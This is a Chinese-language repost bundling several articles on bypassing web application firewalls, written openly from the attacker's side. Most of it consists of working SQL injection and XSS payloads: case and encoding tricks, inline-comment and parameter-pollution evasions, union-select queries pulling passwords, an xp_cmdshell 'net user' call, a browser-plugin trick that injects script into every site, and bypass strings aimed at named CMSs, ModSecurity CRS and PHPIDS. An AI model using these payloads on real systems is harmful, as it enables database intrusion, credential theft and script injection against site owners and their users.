[转]杂谈如何绕过WAF（Web应用防火墙）

淩亂°似流年 2022-08-21 14:53 299阅读 0赞

## 技术分享：杂谈如何绕过WAF（Web应用防火墙） ##

0×01开场白

这个议题呢，主要是教大家一个思路，而不是把现成准备好的代码放给大家。

可能在大家眼中WAF（Web应用防火墙）就是“不要脸”的代名词。如果没有他，我们的“世界”可能会更加美好。但是事与愿违。没有它，你让各大网站怎么活。但是呢，我是站在你们的这一边的，所以，今天我们就来谈谈如何绕过WAF吧。之所以叫做“杂谈”，是因为我在本次演讲里，会涉及到webkit、nginx&apache等。下面正式开始：）

0×02直视WAF：

作为第一节，我先为大家简单的说下一些绕过WAF的方法。

一：大小写转换法：

看字面就知道是什么意思了，就是把大写的小写，小写的大写。比如:

SQL：sEleCt vERsIoN(); ‍‍XSS：<sCrIpt>alert(1)</script>

出现原因：在waf里，使用的正则不完善或者是没有用大小写转换函数

二：干扰字符污染法：

空字符、空格、TAB换行、注释、特殊的函数等等都可以。比如下面的：

SQL：sEleCt+1-1+vERsIoN   /*!*/       ();`yohehe‍‍ ‍‍SQL2：select/*!*/`version`();

XSS：下面一节会仔细的介绍

出现原因：利用网站使用的语言函数特性来绕过waf的规则或者使用会无视的字符

三：字符编码法：

就是对一些字符进行编码，常见的SQL编码有unicode、HEX、URL、ascll、base64等，XSS编码有：HTML、URL、ASCII、JS编码、base64等等

SQL:load_file(0x633A2F77696E646F77732F6D792E696E69) ‍‍‍‍XSS：<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>

出现原因：利用浏览器上的进制转换或者语言编码规则来绕过waf

四：拼凑法：

如果过滤了某些字符串，我们可以在他们两边加上“原有字符串”的一部分。

SQL：selselectect verversionsion(); ‍‍‍‍XSS：<scr<script>rip>alalertert</scr</script>rip>

出现原因：利用waf的不完整性，只验证一次字符串或者过滤的字符串并不完整。

本节是告诉大家，waf总会有自己缺陷的，任何事物都不可能完美。

0×03站在webkit角度来说绕过WAF：

可能这时会有人问到，说绕过WAF，怎么跑到webkit上去了。嗯，你没有看错，我也没有疯。之说以站在webkit角度来讲绕过WAF，是因为各个代码的功能是由浏览器来解析的。那浏览器中谁又负责解析呢？那就是webkit， 既然要说到webkit，那就不得不提webkit下的解析器——词法分析器，因为我们在绕过的时候，就是利用解析器中的词法分析器来完成。

就比如一个简单的绕过WAF的XSS代码：

他可以弹窗，可以为什么他可以弹窗呢？这里面有回车、换行符啊。想要理解，我们来看看webkit下的Source/javascriptcore/parser/lexer.cpp是怎么声明的吧。

while (m_current != stringQuoteCharacter) {        
    	if (UNLIKELY(m_current =='\\')) {            
    		if (stringStart != currentSourcePtr() && shouldBuildStrings)   
    			append8(stringStart, currentSourcePtr() - stringStart);    
    			
    		shift();             
    		LChar escape = singleEscape(m_current);             // Most common escape sequences first            
    		if (escape) {                
    			if (shouldBuildStrings)                    
    			record8(escape);                
    			shift();            
    		} else if (UNLIKELY(isLineTerminator(m_current)))                
    		shiftLineTerminator();

注意倒数第二行里的isLineTerminator函数。这里我来说说大致的意思：所有的内容都在一个字符串里，用while逐字解析，遇到换行就跳过。然后在拼成一个没有分割符的字符串，所以这时的XSS代码成功弹窗了。

Webkit里的词法分析器里除了跳过换行符，还会跳过什么字符呢？

子曰：还有回车等分隔符。

根据webkit词法分析器的机制，我们就可以写更多的猥琐xss代码。

下面再说说这个注意事项：

因为在webkit的词法分析器里，跳过回车、换行等分隔符时有个前提，那就是必须用单/双引号围住，不然不会跳过。因为如果不使用引号，词法分析器会认为 回车、换行就是结束了，如果你运行上面这段代码，webkit会把java当做地址传给src。词法分析器跳过的前提就是建立在引号里的，切记。

这里在说一个：

回车、换行只在属性中引号里才会起作用。如果你对标签或者属性用 回车、换行，这时你大可放心，决对不会弹窗。而且在属

性值里 回车、换行随便用。如果空格出现在xss代码里并不会弹窗，但是如果出现在字符和符号之前，就可以弹了。如图：

[![图片1.png][1.png]][1.png_1.png]

注意事项：

跳过回车和换行，不支持on事件。例如下面的代码

<a href="javascript:alert(1)">xss</a>会弹窗，但是下面的代码就不行了 ‍‍‍‍<a href="#" onclick="alert(1)">s</a>可见加了Tab换行，就无法弹窗了。但是还是支持字符和符号之间加入空格的。

本节就是告诉大家，想要玩的更好，最好追溯到底层，从底层来看攻击手法，你会发现很多问题迎刃而解。

0×04 利用Nginx&Apache环境 BUG来绕过waf：

这个bug比较鸡肋，需要在nginx&apache环境，而且管理员较大意。

这是一个不是bug的bug。

当网站采用前端Nginx，后端Apache时，需要在conf配置，当遇到PHP后缀的时候，把请求交给Apache处理。但是Nginx判断后缀是否为PHP的原理是根据URL的。也就是说如果当URL的后缀不是PHP的时候，他并不会把PHP教给Apache处理。

配置:

[![图片2.png][2.png]][2.png_2.png]

乍一看，没什么问题。但是这里隐藏一个漏洞。

我在test目录建立一个index.php：

[![图片3.png][3.png]][3.png_3.png]

利用nginx&apache这个bug，再加上浏览器默认会隐藏index.php文件名，那么漏洞就来了。

[访问a.cn/test/index.php?text=<script>alert(1)</script>不会弹窗，被waf.conf给拦截了。][a.cn_test_index.php_text_script_alert_1_script_waf.conf]

访问a.cn/test/?text=<script>alert(1)</script>会弹窗，没有被waf.conf给拦截，因为nginx根据URL判断这不是php文件，并没有交给apache处理，也就没有走第三个location流程。

[![图片4.png][4.png]][4.png_4.png]

本节是告诉大家，绕过WAF不用一直针对WAF，也可以利用环境/第三方的缺陷来绕过。

0×05 从HTTP数据包开始说起：

一：现在有一部分网站waf是部署在客户端上的，利用burp、fiddler就可以轻松绕过。

很多时候我们遇到的情况就像这段代码一样:

<input type="text" name="text"> ‍‍‍‍<input type="submit" onclick="waf()">

把waf规则放到js里。我们可以提交一个woaini字符串，然后用burp、fiddler抓包、改包、提交，轻轻松松的绕过了客服端的WAF机制。

二：有的网站，他们对百度、google、soso、360等爬虫请求并不过滤，这时我们就可以在USER-Agent伪造自己是搜索引擎的爬虫，就可以绕过waf

三：有的网站使用的是$\_REQUEST来接受get post cookie参数的，这时如果waf只对GET POST参数过滤了，那么久可以在数据包里对cookie进行构造攻击代码，来实现绕过waf。

四：有的waf对GET POST COOKIE都过滤了，还可以进行绕过。怎么绕过呢？

假设网站会显示你的IP或者你使用的浏览器，那么你就可以对IP、user-agent进行构造，在PHP里X\_FORWARDED\_FOR和HTTP\_CLIENT\_IP两个获取IP的函数都可以被修改。

想详细了解的可以去：[http://www.freebuf.com/articles/web/42727.html][http_www.freebuf.com_articles_web_42727.html] 0×06节。

本节告诉我们waf是死的，人是活的，思想放开。不要跟着WAF的思路走，走出自己的思路，才是最正确的。

0×06 WAF你算个屌：

很多人认为绕过WAF需要根据WAF的规则来绕过。但是我们可以忽视他，进行攻击。

我们利用第三方插件来进行攻击，因为第三方插件的权限非常大，而且他有一个特殊的性质，就是他可以跨域。

我们可以事先在插件里调用一个js代码，对方安装之后浏览任何网站都可以被XSS。

我们现在来看段Maxthon插件的源码：

def.Json：

[![1.png][1.png 1]][1.png_1.png 1]

test.js：

[![2.png][2.png 1]][2.png_2.png 1]

统一放在一个文件夹里，再用Mxpacke.exe生成一个遨游插件。

[![3.png][3.png 1]][3.png_3.png 1]

双击就可以安装这个插件。

[![4.png][4.png 1]][4.png_4.png 1]

[![5.png][]][5.png 1]

这不算是一个漏洞，因为插件必须要运行js代码，而XSS的宗旨就是 在网站里运行你所指定的js代码。所以，这个xss没办法修复，而且chrome 火狐 等浏览器都存在。

资料下载

PPT、DOC下载：[http://pan.baidu.com/s/1pJ6wxj9][http_pan.baidu.com_s_1pJ6wxj9]

来源：http://www.freebuf.com/articles/web/54686.html

# waf 绕过的技巧 #

研究过国内外的waf。分享一些 奇淫绝技。

一些大家都了解的技巧如：/\*!\*/,SELECT\[0x09,0x0A-0x0D,0x20,0xA0\]xx FROM 不再重造轮子。

Mysql

## tips1: 神奇的 \`  (格式输出表的那个控制符) ##

过空格和一些正则。

mysql> select`version`() 
        -> ;  
    +----------------------+  
    | `version`()          |  
    +----------------------+  
    | 5.1.50-community-log |  
    +----------------------+  
    1 row in set (0.00 sec)

一个更好玩的技巧，这个\`控制符可以当注释符用（限定条件）。

mysql> select id from qs_admins where id=1;`dfff and comment it; 
    +----+  
    | id |  
    +----+  
    | 1  |  
    +----+  
    1 row in set (0.00 sec)

usage : where  id ='0'\`'xxxxcomment on.

## tips2:神奇的- + . ##

mysql> select id from qs_admins;  
    +----+  
    | id | 
    +----+  
    | 1  |  
    +----+  
    1 row in set (0.00 sec)
    
    mysql> select+id-1+1.from qs_admins;  
    +----------+  
    | +id-1+1. |  
    +----------+  
    | 1        |  
    +----------+  
    1 row in set (0.00 sec)
    
    mysql> select-id-1+3.from qs_admins;  
    +----------+  
    | -id-1+3. |  
    +----------+  
    | 1        |  
    +----------+  
    1 row in set (0.00 sec)

（有些人不是一直在说关键字怎么过？过滤一个from ...    就是这样连起来过）

## tips3: @ ##

mysql> select@^1.from qs_admins;  
    +------|+  
    | @^1. |  
    +------|+  
    | NULL |  
    +------|+

这个是bypass  曾经dedeCMS filter .

或者这样也是ok.

## tips4：mysql function() as xxx  也可以不用as 和空格 ##

mysql> select-count(id)test from qs_admins;  
    +------|+  
    | test |  
    +------|+  
    | -1   |  
    +------|+  
    1 row in set (0.00 sec)

## tips5:/\*!\[>5000\]\*/ 新构造  版本号（这个可能有些过时了。） ##

mysql> /\*!40000select\*/ id from qs_admins;  
    +----+  
    | id |  
    +----+  
    |  1 |  
    +----+  
    1 row in set (0.00 sec)

先分享这么多，哈。

来源：http://drops.wooyun.org/tips/132

# 浅谈WAF绕过 #

因工作原因研究了几天WAF绕过，简单分享下WAF绕过思路。

对一些攻击特征串进行不同的编码，如：URL编码，ASCII，Unicode.使用一些非标准的编码很容易就造成WAF BYPASS.

一些字符非标准的unicode码：

用NULL对数据截断，经测试发现，灵活使用NULL字节可以有效避开配置为阻止包含已知攻击字符串的请求的WAF。

有时，把使用GET方法的攻击转换成使用POST方法的攻击可能会避开某些过滤。许多应用程序在整个应用程序中执行某正常规过滤，阻止已知的攻击字符串。如果一个应用程序希望收到使用GET方法的请求，它能之对URL查询字符串执行这种过滤。将请求转换为使用POST就可以完全避开这种过滤。

看一个在没有正确解析HTTP Request数据包导致的WAF绕过，触发一个XSS：

POST /demo.php HTTP/1.0

Content-Type: multipart/form-data; boundary=0000

Content-Length: 97

–0000–

Content-Disposition: form-data; name=x’;filename=”‘;name=payload;”

–0000–

正常的HTTP应该是如下：

POST /demo.php HTTP/1.0

Content-Type: multipart/form-data; boundary=0000

Content-Length: 97

–0000–

Content-Disposition: form-data; name=”upfile”; filename=”payload”

–0000–

对比上面俩个HTTP头，给我们提供了WAF绕过的思路，修改攻击特征串或HTTP中的一细节，让WAF无法解析或者解析错误导致绕过。（许多WAF对无法解析的HTTP头，默认直接BYPASS）

罗列了一小部分的基本的绕过技巧（许多技巧因与工作相关无法分享，望见谅～^\_^）。

这些技巧不一定能成功绕过WAF，但在许多场合下，通过一些基本技巧组合的使用，能提高绕过WAF的成功率，甚至完全BYPASS。

Sql Injection Bypass

大小写变种：

UnIon/\*\*/sElEcT/\*\*/1,2,3/\*\*/fRoM/\*\*/Users–

使用注释：

如上。在MySql中使用类似如下攻击依然有效：

‘/\*\*/UN/\*\*/ION/\*\*/SEL/\*\*/ECT/\*\*/1,2,3/\*\*/FROM/table–

内联内容(MySql Only)：

/\*!UnIoN\*/SeLecT+1,2,3–

/\*!UnIoN\*/+/\*!SeLecT\*/+1,2,concat(/\*!table\_name\*/)+FrOm/\*!information\_schema\*/.tables/\*!WhErE\*/+/\*!TaBlE\_sChEMa\*/+like+database()–

嵌套表达式：

UNunionION+SEselectLECT+1,2,3–

编码：

2次URL编码：

%252f%252a\*/union%252f%252a\*/select%252f%252a\*/1,2,3%252f%252a\*/from%252f%252a\*/users–

ASCII:

“SELECT” ASCII Encode in databases.

MySql: char(83,69,76,69,67,84)

Oracle: chr(83)||chr(69)||chr(76)||chr(69)||chr(67)||chr(84)

Ms-Sql: char(chr(83)+chr(69)+chr(76)+chr(69)+chr(67)+chr(84))

使用空字节：

%00′ union+select+1,2,3–

uni%0bon+se%0blect+1,2,3–

参数污染（ASP/ASP.NET）：

id=1/\*\*/union/\*&id=\*/select/\*&id=\*/pwd/\*&id=\*/from/\*&id=\*/users

XSS Bypass：

脚本标签：

脚本伪协议：

标签名称：

<\[%00\]img οnerrοr=alert(1) scr=a>

<i\[%00\]mg οnerrοr=alert(1) scr=a>

对标签名陈稍做修改，可以避开仅仅阻止特定标签名陈的过滤：

来源：http://netsecurity.51cto.com/art/201212/374068.htm

# 深入了解SQL注入绕过waf和过滤机制 #

知己知彼百战不殆 --孙子兵法

\[目录\]

0x00 前言 
    0x01 WAF的常见特征 
    0x02 绕过WAF的方法 
    0x03 SQLi Filter的实现及Evasion 
    0x04 延伸及测试向量示例 
    0x05 本文小结 
    0x06 参考资料

## 0x00 前言 ##

--------------------

笔者前几天在做测试时输入攻击向量后页面发生了重定向甚至异常输入也是重定向怀疑其中有WAF在作怪。之前对WAF接触比较少纯粹是新手趁此科普了一下并查阅了一些绕过WAF的方法。所找到的资料中主要分为两类SQL注入和XSS绕过笔者SQL注入同样是新手因此集中了不少资料并进行整理和总结因此有本文的产生。

目前能看到的绕过WAF的SQL注入技术大致有八、九种但是完整的、详细的内容却分布在互联网各个角落。另外我们谈绕过WAF其实也是谈如何绕过过滤机制如果在讨论bypass技术的时候明确一下现有的一些filter的实现及其evasion对于笔者这样的初学者来说是不是更好还有就是如果在文章后面可以提供一些测试向量提供思路和参考虽然内容看起来很杂但是也会比较方便呢?抱着这些想法尽管前人的分享已经比较充分了还是壮着胆自己进行总结这样更能适应自己的需求也可能更加适合一些朋友的需求。

本文所讨论的技术大都几年以前就已经存在了不能保证每种方法在实际测试中都能生效另外为简便起见笔者对形如http://www.site.com的URL约定为z.com。

## 0x01 WAF的常见特征 ##

--------------------

之所以要谈到WAF的常见特征是为了更好的了解WAF的运行机制这样就能增加几分绕过的机会了。本文不对WAF做详细介绍只谈及几点相关的。

总体来说WAF(Web Application Firewall)的具有以下四个方面的功能

1. 审计设备用来截获所有HTTP数据或者仅仅满足某些规则的会话 
    2. 访问控制设备用来控制对Web应用的访问既包括主动安全模式也包括被动安全模式 
    3. 架构/网络设计工具当运行在反向代理模式他们被用来分配职能集中控制虚拟基础结构等。 
    4. WEB应用加固工具这些功能增强被保护Web应用的安全性它不仅能够屏蔽WEB应用固有弱点而且能够保护WEB应用编程错误导致的安全隐患。

WAF的常见特点

异常检测协议拒绝不符合HTTP标准的请求 
    增强的输入验证代理和服务端的验证而不只是限于客户端验证 
    白名单&黑名单白名单适用于稳定的We应用黑名单适合处理已知问题 
    基于规则和基于异常的保护基于规则更多的依赖黑名单机制基于异常更为灵活 
    状态管理重点进行会话保护 
    另还有Coikies保护、抗入侵规避技术、响应监视和信息泄露保护等

如果是对于扫描器WAF有其识别之道

扫描器识别主要由以下几点

1) 扫描器指纹(head字段/请求参数值)以wvs为例会有很明显的Acunetix在内的标识 
    2)  单IP+ cookie某时间段内触发规则次数 
    3)  隐藏的链接标签等(<a>) 
    4)  Cookie植入 
    5)  验证码验证扫描器无法自动填充验证码 
    6)  单IP请求时间段内Webserver返回http状态404比例 扫描器探测敏感目录基于字典找不到文件则返回404

## 0x02 绕过WAF的方法 ##

--------------------

从笔者目前找到的资料来看可以把这些绕过waf的技术分为9类包含从初级到高级技巧

a) 大小写混合 
    b)替换关键字 
    c)使用编码 
    d)使用注释 
    e)等价函数与命令 
    f)使用特殊符号 
    g)HTTP参数控制 
    h)缓冲区溢出 
    i)整合绕过

### a) 大小写绕过 ###

大小写绕过用于只针对小写或大写的关键字匹配技术正则表达式/express/i 匹配时大小写不敏感便无法绕过这是最简单的绕过技术

z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

示例场景可能的情况为filter的规则大小写敏感现在直接使用这种绕过技术成功的可能性已经不高了吧

### b)替换关键字 ###

这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过

z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

替换关键字同样是很基础的技术也可以构造得更复杂SeLSeselectleCTecT关键要看正则表达式会进行几次匹配处理了

### c)使用编码 ###

#### 1.URL编码 ####

在Chrome中输入一个链接非保留字的字符浏览器会对其URL编码如空格变为%20、单引号%27、左括号%28、右括号%29

普通的URL编码可能无法实现绕过不过存在某种情况URL编码只进行了一次解码过滤可以用两次编码绕过

page.php?id=1%252f%252a*/UNION%252f%252a/SELECT

#### 2.十六进制编码 ####

z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

示例代码中前者是对单个字符十六进制编码后者则是对整个字符串编码对整个字符串编码相对来说较少见一点

#### 3.Unicode编码 ####

Unicode有所谓的标准编码和非标准编码假设我们用的utf-8为标准编码那么西欧语系所使用的就是非标准编码了

看一下常用的几个符号的一些Unicode编码

单引号：%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
    
    空格：%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
    
    左括号：%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
    
    右括号：%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

举例：

?id=10%D6'%20AND%201=2%23　　
    
    SELECT 'Ä'='A'; #1

两个示例中，前者利用双字节绕过，比如对单引号转义操作变成\\'，那么就变成了%D6%5C'，%D6%5C构成了一个款字节即Unicode字节，单引号可以正常使用。

第二个示例使用的是两种不同编码的字符的比较，它们比较的结果可能是True或者False，关键在于Unicode编码种类繁多，基于黑名单的过滤器无法处理所以情况，从而实现绕过。

另外平时听得多一点的可能是utf-7的绕过，还有utf-16、utf-32的绕过，后者从成功的实现对google的绕过，有兴趣的朋友可以去了解下。

常见的编码当然还有二进制、八进制，它们不一定都派得上用场，但后面会提到使用二进制的例子。

### d) 使用注释 ###

看一下常见的用于注释的符号有哪些

//, -- , /**/, #, --+,--  -, ;--a

#### 1.普通注释 ####

z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
    'union%a0select pass from users#

/\*\*/在构造的查询语句中插入注释规避对空格的依赖或关键字识别\#、--+用于终结语句的查询

#### 2.内联注释 ####

相比普通注释内联注释用的更多/!content/只有MySQL会正常识别content的内容其他

index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3 
    ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…

两个示例中前者使用内联注释后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分要做到这一点后面讨论的特殊符号也能实现当然前提是包括/、\*在内的这些字符能正常使用。

### e)等价函数与命令 ###

有些函数或命令因其关键字被检测出来而无法使用但是在很多情况下可以使用与之等价或类似的代码替代其使用

#### 1.函数或变量 ####

hex()、bin() ==> ascii()
    sleep() ==>benchmark()
    concat_ws()==>group_concat()
    mid()、substr() ==> substring()
    @@user ==> user()
    @@datadir ==> datadir()

举例substring()和substr()无法使用时

?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

或者

substr((select 'password'),1,1) = 0x70 
    strcmp(left('password',1), 0x69) = 1 
    strcmp(left('password',1), 0x70) = 0 
    strcmp(left('password',1), 0x71) = -1

上述这几个示例用于说明有时候当某个函数不能使用时还可以找到其他的函数替代其实现至于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论

#### 2.符号 ####

and和or有可能不能使用可以试下&&和||能不能用还有=不能使用的情况可以考虑尝试<、>因为如果不小于又不大于那便是等于了

再看一下用得很多的空格可以使用如下符号代替其使用

%20 %09 %0a %0b %0c %0d %a0 /**/

#### 3.生僻函数 ####

MySQL/PostgreSQL支持XML函数

Select UpdateXML('<script x=_></script> ','/script/@x/','src=//evil.com');
    ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
    SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror));　//postgresql
    ?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

MySQL、PostgreSQL、Oracle它们都有许多自己的函数基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能而且代价太大因此黑名单的确是更适合处理已知的情况

### f) 特殊符号 ###

这里我把非字母数字的字符都规在了特殊符号一类这些符号有特殊的含义和用法涉及信息量比前面提到的几种都要多

先看下drops上[waf的绕过技巧][waf]一文使用的几个例子

1.使用反引号`，例如select `version()`，可以用来过空格和正则，特殊情况下还可以将其做注释符用
    2.神奇的"-+."，select+id-1+1.from users; “+”是用于字符串连接的，”-”和”.”在此也用于连接，可以逃过空格和关键字过滤
    3.@符号，select@^1.from users; @用于变量定义如@var_name，一个@表示用户定义，@@表示系统变量
    4.Mysql function() as xxx  也可不用as和空格　　 select-count(id)test from users;  //绕过空格限制

可见使用这些字符的确是能做很多事也证实了那句老话只有想不到没有做不到

笔者搜罗了部分可能发挥大作用的字符(这里未包括'、\*、/等在内考虑到前面已经出现较多次了)

`、~、!、@、%、()、[]、.、-、+ 、|、%00

举例

关键字拆分

'se'+'lec'+'t'
    %S%E%L%E%C%T 1
    1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell "net user"')

!和()' or --+2=- -!!!'2

id=1+(UnI)(oN)+(SeL)(EcT)

//有看到说Access中,”\[\]”用于表和列,”()”用于数值也可以做分隔

本节最后再给出一些和这些字符多少有点关系的操作符供参考

> > , <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN

使用这些"特殊符号"实现绕过是一件很细微的事情一方面各数据库对符号的处理是不尽相同的另一方面你得充分了解这些符号的特性和使用方法才能会考虑利用其实现绕过

### g) HTTP参数控制 ###

这里HTTP参数控制除了对查询语句的参数进行篡改还包括HTTP方法、HTTP头的控制

#### 1.HPP(HTTP Parameter Polution) ####

举例

/?id=1;select+1&id=2,3+from+users+where+id=1—
    /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

HPP又称做重复参数污染最简单的就是?uid=1&uid=2&uid=3对于这种情况不同的Web服务器处理方式如下

![2014022613524357191.jpg][]

具体WAF如何处理要看其设置的规则不过就示例中感觉最后一个来看有较大可能绕过

#### 2.HPF(HTTP Parameter Fragment) ####

这种方法是HTTP分割注入同CRLF略有相似之处(使用控制字符%0a、%0d等换行)

举例

/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
    select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

看完上面两个示例发现和HPP最后一个示例很像不同之处在于参数不一样这里是在不同的参数之间进行分割结果到了数据库执行查询时再合并语句。

#### 3.HPC(HTTP Parameter Contamination) ####

这一概念见于[Beyond SQLi: Obfuscate and Bypass][Beyond SQLi_ Obfuscate and Bypass]这里Contamination意为污染

RFC2396定义了如下一些字符

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()  
    Reserved : ; / ? : @ & = + $ ,  
    Unwise : { } | \ ^ [ ] `

不同的Web服务器处理处理构造得特殊请求时有不同的逻辑

![2014022613570037001.jpg][]

以魔术字符%为例Asp/Asp.net会受到影响

![2014022613574878521.jpg][]

### h) 缓冲区溢出(Advanced) ###

缓冲区溢出用于对付WAF在内的软件本身有不少WAF是C语言写的而C语言自身没有缓冲区保护机制因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug从而实现绕过

举例

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA\*1000指0xA后面”A"重复1000次一般来说对应用软件构成缓冲区溢出都需要较大的测试长度这里1000只做参考也许在有些情况下可能不需要这么长也能溢出

### i) 整合绕过 ###

整合的意思是结合使用前面谈到的各种绕过技术单一的技术可能无法绕过过滤机制但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说关系到总体与局部和另一方面则是多种技术的使用创造了更多的可能性组合除非每一种技术单独都无法使用否则它们能产生比自身大得多的能量。

举例

z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
    id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
    ?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--

## 0x03 SQLi Filter的实现及Evasion ##

--------------------

SQL Injection时用得最多的一些关键字如下

and, or, union, where, limit, group by, select, ', hex, substr, white space

对它们的检测完整正则表达式为

Filter Evasion在[Beyond SQLi: Obfuscate and Bypass][Beyond SQLi_ Obfuscate and Bypass]和[Mysql注入科普][Mysql]可以看到比较详细的解释

这里只做简化的说明其应对方式依次为

***note***:"=>"左边表示会被Filtered的语句，"=>"右边表示成功Bypass的语句，左边标红的为被Filtered的关键字，右边标蓝的为替代其功能的函数或关键字
    
    and => && 　　or => ||
    
    union select user, password from users　　 =>　　1 || (select user from users where user_id = 1) = 'admin
    
    1 || (select user from users where user_id = 1) = 'admin'　　=>　　1 || (select user from users limit 1) = 'admin
    
    1 || (select user from users limit 1) = 'admin' =>　　1 || (select user from users group by user_id having user_id = 1) = 'admin'
    1 || (select user from users group by user_id having user_id = 1) = 'admin' =>　1 || (select substr(group_concat(user_id),1,1) user from users )=1
    1 || (select substr(group_concat(user_id),1,1) user from users) = 1 =>  1 || 1 = 1 into outfile 'result.txt'　或者  1 || substr(user,1,1) = 'a'　
    1 || (select substr(group_concat(user_id),1,1) user from users) = 1 　=>　　1 || user_id is not null 或者 1 || substr(user,1,1) = 0x61
    　　　或者 1 || substr(user,1,1) = unhex(61)　　//　' Filtered
    1 || substr(user,1,1) = unhex(61)　　=>   1 || substr(user,1,1) = lower(conv(11,10,36))
    1 || substr(user,1,1) = lower(conv(11,10,36)) =>　　1 || lpad(user,7,1)
    1 || lpad(user,7,1)　　=>　　1%0b||%0blpad(user,7,1)　　// ' ' Filtered

从上面给出的示例来看没有绝对的过滤即便平时构建一个正常SQL语句的全部关键字都被过滤了我们也还是能找到Bypass的方法。普世的阳光和真理尚且照不到每一个角落人为构建出来的一个工具WAF就更加不可能尽善尽美了。我们可以相信WAF能为我们抵挡很多攻击但是绝不能百分之一百的依赖它就算它有着世上最为健全的规则它本身也是会存在缺陷的。

从前面到现在基本上每条注入语句中都有数字如果某查询的数据类型为字符串、或者做了严格限制数字要被和谐掉这就有点棘手了不过办法总是有的

![2014022614064414576.png][]

![2014022614071092308.png][]

上面两张图第一张是不能使用数字时通过使用数学函数得到某个数字的值第二张则是这些数字对应的36进制的值因此有时候一个很简单的表达式可能会很复杂或者非常长其实际就是计算mod(a,b)

(mod(length(trim(leading(concat(lower(conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(), pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi())),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*version())+true,pi()*pi(),pow(pi(), pi()))),lower(conv(ceil((pi()+ceil(pi()))*pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi())*ceil(pi()+pi()),pi()*pi(),pow(pi(),pi()))),conv(ceil(pi()*version()),pi()*pi(),pow(pi(),pi())),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(version()*version()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi())))))from(pass))),length(pass))

## 0x04 延伸及测试向量示例 ##

--------------------

a) CMS绕过实例
    b) WAF绕过示例
    c) SQLi Filter Evasion Cheat sheet
    d) 测试向量

### a) Web应用绕过示例 ###

#### 1. e107 CMS ####

$inArray = array("'", ";", "/**/", "/UNION/", "/SELECT/", "AS "); 
    if (strpos($_SERVER['PHP_SELF'], "trackback") === false) { 
    foreach($inArray as $res) { 
    if(stristr($_SERVER['QUERY_STRING'], $res)) { 
    die("Access denied."); 
    }}}

Bypass:

vuln.php/trackback?inject=UNI%6fN SELECT

#### 2. PHP-Nuke CMS ####

if(isset($_SERVER['QUERY_STRING']) 
    && (!stripos($_SERVER['QUERY_STRING'], "ad_click"))) { 
    $queryString = $_SERVER['QUERY_STRING']; 
    if ( stripos($queryString, '%20union%20') 
    OR stripos($queryString, '/*') 
    OR stripos($queryString, '*/union/*') 
    OR stripos($queryString, '+union+') 
    OR stripos($queryString, 'concat')) { die('Illegal Operation'); }

Bypass:

vuln.php?inject=%a0UNI%6fN(SELECT'ad_click'

#### 3. TYPO3 CMS ####

$val = str_replace(array("'"," ","("),"",$arrFields[$fname]); // basic defence

Bypass:

vuln.php?id=1/**/union%a0select/**/1,pass,3`a`from`users`

### b) WAF绕过示例 ###

#### 1. ModSecurity CRS 2.0.9  ####

1'and 0x61=(/*foo*/SELECT mid(pass,1,1) from users limit 1,1)and'1
    1'union/*!select*/pass,load_file(0x123456789)from users-- -

#### 2. PHPIDS 0.6.4  ####

foo'!=@a:=0x1 div'1a false != true 　　//auth bypass
